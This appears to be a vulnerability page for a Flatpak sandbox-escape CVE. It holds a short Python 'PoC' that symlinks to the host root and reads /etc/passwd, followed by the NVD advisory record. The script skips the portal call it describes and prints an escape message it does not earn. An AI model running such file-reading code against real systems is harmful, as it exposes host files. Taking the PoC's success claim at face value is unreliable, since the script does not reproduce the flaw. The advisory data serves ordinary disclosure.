CVE-2026-34078

#!/usr/bin/env python3 # PoC for CVE-2026-34078: Flatpak Sandbox Escape # This PoC demonstrates how a malicious app could access host files # via symlink manipulation in sandbox-expose. import os # 1. Create a malicious symlink inside the sandbox pointing to the host root # Note: In a real exploit, this path would be passed to the portal malicious_link = "/tmp/mount_point" target_path = "/" try: # Simulating the creation of a symlink controlled by the app os.symlink(target_path, malicious_link) print(f"[+] Created symlink: {malicious_link} -> {target_path}") # 2. Request the Flatpak portal to expose this path # In a real scenario, this involves D-Bus calls to org.flatpak.portal # Specifically invoking methods that accept sandbox-expose flags print("[*] Attempting to trigger the vulnerable path resolution...") # 3. Verify access to host files (e.g., /etc/passwd) host_passwd = os.path.join(malicious_link, "etc", "passwd") if os.path.exists(host_passwd): print(f"[!] Successfully escaped sandbox! Reading {host_passwd}") with open(host_passwd, 'r') as f: print(f.read()) else: print("[-] Exploit failed or path not exposed correctly.") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-34078", "sourceIdentifier": "[email protected]", "published": "2026-04-07T22:16:21.930", "lastModified": "2026-04-24T17:50:18.043", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flatpak is a Linux application sandboxing and distribution framework. Prior to 1.16.4, the Flatpak portal accepts paths in the sandbox-expose options which can be app-controlled symlinks pointing at arbitrary paths. Flatpak run mounts the resolved host path in the sandbox. This gives apps access to all host files and can be used as a primitive to gain code execution in the host context. This vulnerability is fixed in 1.16.4."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-61"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flatpak:flatpak:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.16.3", "matchCriteriaId": "0555624B-B2EE-4FA9-908C-CB7707FABD23"}]}]}], "references": [{"url": "https://github.com/flatpak/flatpak/security/advisories/GHSA-cc2q-qc34-jprg", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/09/8", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory", "Mailing List"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/10/14", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}